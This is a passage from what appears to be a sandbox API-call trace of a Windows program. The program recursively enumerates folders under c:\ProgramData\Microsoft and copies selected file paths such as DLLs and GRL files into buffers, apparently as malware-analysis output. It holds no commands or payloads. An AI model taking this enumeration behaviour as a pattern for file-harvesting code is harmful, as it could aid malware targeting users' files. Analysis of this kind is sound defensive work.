lpString2="..") returned 1 [0123.889] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Crypto\\") returned 32 [0123.889] lstrlenW (lpString="RSA") returned 3 [0123.889] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="c:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="c:\\ProgramData\\Microsoft\\Crypto\\RSA" [0123.889] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.889] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.889] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.889] lstrcmpW (lpString1="Device Stage", lpString2=".") returned 1 [0123.889] lstrcmpW (lpString1="Device Stage", lpString2="..") returned 1 [0123.889] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.889] lstrlenW (lpString="Device Stage") returned 12 [0123.889] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Device Stage" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage") returned="c:\\ProgramData\\Microsoft\\Device Stage" [0123.889] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\") returned="c:\\ProgramData\\Microsoft\\Device Stage\\" [0123.889] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Device Stage\\") returned 38 [0123.889] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\*") returned="c:\\ProgramData\\Microsoft\\Device Stage\\*" [0123.889] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.890] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.890] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.890] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.890] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.890] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.890] lstrcmpW (lpString1="Device", lpString2=".") returned 1 [0123.890] lstrcmpW (lpString1="Device", lpString2="..") returned 1 [0123.890] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Device Stage\\") returned 38 [0123.890] lstrlenW (lpString="Device") returned 6 [0123.890] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="Device" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="c:\\ProgramData\\Microsoft\\Device Stage\\Device" [0123.890] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.890] lstrcmpW (lpString1="Task", lpString2=".") returned 1 [0123.890] lstrcmpW (lpString1="Task", lpString2="..") returned 1 [0123.890] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Device Stage\\") returned 38 [0123.890] lstrlenW (lpString="Task") returned 4 [0123.890] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\", lpString2="Task" | out: lpString1="c:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="c:\\ProgramData\\Microsoft\\Device Stage\\Task" [0123.890] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.890] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.890] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.890] lstrcmpW (lpString1="DeviceSync", lpString2=".") returned 1 [0123.890] lstrcmpW (lpString1="DeviceSync", lpString2="..") returned 1 [0123.890] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.890] lstrlenW (lpString="DeviceSync") returned 10 [0123.890] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="DeviceSync" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync") returned="c:\\ProgramData\\Microsoft\\DeviceSync" [0123.890] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\") returned="c:\\ProgramData\\Microsoft\\DeviceSync\\" [0123.890] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DeviceSync\\") returned 36 [0123.890] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\DeviceSync\\*") returned="c:\\ProgramData\\Microsoft\\DeviceSync\\*" [0123.890] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.890] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.890] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.890] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.890] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.890] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.890] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.890] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.890] lstrcmpW (lpString1="DRM", lpString2=".") returned 1 [0123.890] lstrcmpW (lpString1="DRM", lpString2="..") returned 1 [0123.890] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.890] lstrlenW (lpString="DRM") returned 3 [0123.890] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="DRM" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM") returned="c:\\ProgramData\\Microsoft\\DRM" [0123.890] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\") returned="c:\\ProgramData\\Microsoft\\DRM\\" [0123.890] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DRM\\") returned 29 [0123.890] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\*") returned="c:\\ProgramData\\Microsoft\\DRM\\*" [0123.890] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.891] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.891] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.891] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.891] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.891] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.891] lstrcmpW (lpString1="Server", lpString2=".") returned 1 [0123.891] lstrcmpW (lpString1="Server", lpString2="..") returned 1 [0123.891] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\DRM\\") returned 29 [0123.891] lstrlenW (lpString="Server") returned 6 [0123.891] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\DRM\\", lpString2="Server" | out: lpString1="c:\\ProgramData\\Microsoft\\DRM\\Server") returned="c:\\ProgramData\\Microsoft\\DRM\\Server" [0123.891] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.891] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.891] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.891] lstrcmpW (lpString1="eHome", lpString2=".") returned 1 [0123.891] lstrcmpW (lpString1="eHome", lpString2="..") returned 1 [0123.891] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.891] lstrlenW (lpString="eHome") returned 5 [0123.891] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="eHome" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome") returned="c:\\ProgramData\\Microsoft\\eHome" [0123.891] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\") returned="c:\\ProgramData\\Microsoft\\eHome\\" [0123.891] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\eHome\\") returned 31 [0123.891] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\*") returned="c:\\ProgramData\\Microsoft\\eHome\\*" [0123.891] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.891] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.891] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.891] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.891] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.891] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.891] lstrcmpW (lpString1="logs", lpString2=".") returned 1 [0123.891] lstrcmpW (lpString1="logs", lpString2="..") returned 1 [0123.891] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\eHome\\") returned 31 [0123.891] lstrlenW (lpString="logs") returned 4 [0123.891] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\eHome\\", lpString2="logs" | out: lpString1="c:\\ProgramData\\Microsoft\\eHome\\logs") returned="c:\\ProgramData\\Microsoft\\eHome\\logs" [0123.891] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.891] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.891] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.891] lstrcmpW (lpString1="Event Viewer", lpString2=".") returned 1 [0123.891] lstrcmpW (lpString1="Event Viewer", lpString2="..") returned 1 [0123.891] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.891] lstrlenW (lpString="Event Viewer") returned 12 [0123.891] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Event Viewer" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer") returned="c:\\ProgramData\\Microsoft\\Event Viewer" [0123.891] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\" [0123.891] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned 38 [0123.891] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\*") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\*" [0123.891] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.892] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.892] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.892] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.892] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.892] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.892] lstrcmpW (lpString1="Views", lpString2=".") returned 1 [0123.892] lstrcmpW (lpString1="Views", lpString2="..") returned 1 [0123.892] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Event Viewer\\") returned 38 [0123.892] lstrlenW (lpString="Views") returned 5 [0123.892] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\", lpString2="Views" | out: lpString1="c:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="c:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0123.892] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.892] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.892] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.892] lstrcmpW (lpString1="IdentityCRL", lpString2=".") returned 1 [0123.892] lstrcmpW (lpString1="IdentityCRL", lpString2="..") returned 1 [0123.892] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.892] lstrlenW (lpString="IdentityCRL") returned 11 [0123.892] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="IdentityCRL" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL") returned="c:\\ProgramData\\Microsoft\\IdentityCRL" [0123.892] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\" [0123.892] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned 37 [0123.892] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\*" [0123.892] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.892] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.892] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.892] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.892] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.892] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.892] lstrcmpW (lpString1="ppcrlconfig.dll", lpString2=".") returned 1 [0123.892] lstrcmpW (lpString1="ppcrlconfig.dll", lpString2="..") returned 1 [0123.892] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned 37 [0123.892] lstrlenW (lpString="ppcrlconfig.dll") returned 15 [0123.892] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="ppcrlconfig.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" [0123.892] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned 52 [0123.892] lstrcpyW (in: lpString1=0x24b0ee8, lpString2="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" [0123.892] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.892] lstrcmpW (lpString1="ppcrlui.dll", lpString2=".") returned 1 [0123.892] lstrcmpW (lpString1="ppcrlui.dll", lpString2="..") returned 1 [0123.892] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\") returned 37 [0123.892] lstrlenW (lpString="ppcrlui.dll") returned 11 [0123.892] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\", lpString2="ppcrlui.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" [0123.892] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned 48 [0123.892] lstrcpyW (in: lpString1=0x24b4c60, lpString2="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" | out: lpString1="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned="c:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlui.dll" [0123.892] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.892] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.892] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.893] lstrcmpW (lpString1="Media Player", lpString2=".") returned 1 [0123.893] lstrcmpW (lpString1="Media Player", lpString2="..") returned 1 [0123.893] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.893] lstrlenW (lpString="Media Player") returned 12 [0123.893] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Media Player" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player") returned="c:\\ProgramData\\Microsoft\\Media Player" [0123.893] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Media Player", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\") returned="c:\\ProgramData\\Microsoft\\Media Player\\" [0123.893] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Media Player\\") returned 38 [0123.893] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Media Player\\*") returned="c:\\ProgramData\\Microsoft\\Media Player\\*" [0123.893] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.893] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.893] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.893] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.893] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.893] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.893] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.893] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.893] lstrcmpW (lpString1="MF", lpString2=".") returned 1 [0123.893] lstrcmpW (lpString1="MF", lpString2="..") returned 1 [0123.893] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.893] lstrlenW (lpString="MF") returned 2 [0123.893] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="MF" | out: lpString1="c:\\ProgramData\\Microsoft\\MF") returned="c:\\ProgramData\\Microsoft\\MF" [0123.893] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\") returned="c:\\ProgramData\\Microsoft\\MF\\" [0123.893] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\") returned 28 [0123.893] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\*") returned="c:\\ProgramData\\Microsoft\\MF\\*" [0123.893] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.893] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.893] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.893] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.893] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.893] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.893] lstrcmpW (lpString1="Active.GRL", lpString2=".") returned 1 [0123.893] lstrcmpW (lpString1="Active.GRL", lpString2="..") returned 1 [0123.893] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\") returned 28 [0123.893] lstrlenW (lpString="Active.GRL") returned 10 [0123.893] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="Active.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Active.GRL" [0123.893] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned 38 [0123.893] lstrcpyW (in: lpString1=0x24b8d40, lpString2="c:\\ProgramData\\Microsoft\\MF\\Active.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Active.GRL" [0123.893] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.893] lstrcmpW (lpString1="Pending.GRL", lpString2=".") returned 1 [0123.893] lstrcmpW (lpString1="Pending.GRL", lpString2="..") returned 1 [0123.893] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\") returned 28 [0123.893] lstrlenW (lpString="Pending.GRL") returned 11 [0123.893] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\MF\\", lpString2="Pending.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL" [0123.893] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned 39 [0123.893] lstrcpyW (in: lpString1=0x24b8d98, lpString2="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL" | out: lpString1="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="c:\\ProgramData\\Microsoft\\MF\\Pending.GRL" [0123.894] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.894] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.894] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.894] lstrcmpW (lpString1="NetFramework", lpString2=".") returned 1 [0123.894] lstrcmpW (lpString1="NetFramework", lpString2="..") returned 1 [0123.894] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.894] lstrlenW (lpString="NetFramework") returned 12 [0123.894] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="NetFramework" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework") returned="c:\\ProgramData\\Microsoft\\NetFramework" [0123.894] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\") returned="c:\\ProgramData\\Microsoft\\NetFramework\\" [0123.894] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\NetFramework\\") returned 38 [0123.894] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\*") returned="c:\\ProgramData\\Microsoft\\NetFramework\\*" [0123.894] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.894] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.894] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.894] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.894] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.894] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.894] lstrcmpW (lpString1="BreadcrumbStore", lpString2=".") returned 1 [0123.894] lstrcmpW (lpString1="BreadcrumbStore", lpString2="..") returned 1 [0123.894] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\NetFramework\\") returned 38 [0123.894] lstrlenW (lpString="BreadcrumbStore") returned 15 [0123.894] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\", lpString2="BreadcrumbStore" | out: lpString1="c:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="c:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" [0123.894] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.894] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.894] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.894] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0123.894] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0123.894] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0123.894] lstrlenW (lpString="Network") returned 7 [0123.894] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Network" | out: lpString1="c:\\ProgramData\\Microsoft\\Network") returned="c:\\ProgramData\\Microsoft\\Network" [0123.894] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\") returned="c:\\ProgramData\\Microsoft\\Network\\" [0123.895] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Network\\") returned 33 [0123.895] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\*") returned="c:\\ProgramData\\Microsoft\\Network\\*" [0123.895] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.895] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.895] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.895] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.895] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.895] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.895] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0123.895] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0123.895] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Network\\") returned 33 [0123.895] lstrlenW (lpString="Connections") returned 11 [0123.895] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="Connections" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\Connections") returned="c:\\ProgramData\\Microsoft\\Network\\Connections" [0123.895] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.895] lstrcmpW (lpString1="Downloader", lpString2=".") returned 1 [0123.895] lstrcmpW (lpString1="Downloader", lpString2="..") returned 1 [0123.895] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Network\\") returned 33 [0123.895] lstrlenW (lpString="Downloader") returned 10 [0123.895] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Network\\", lpString2="Downloader" | out: lpString1="c:\\ProgramData\\Microsoft\\Network\\Downloader") returned="c:\\ProgramData\\Microsoft\\Network\\Downloader" [0123.895] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.895] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.895] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 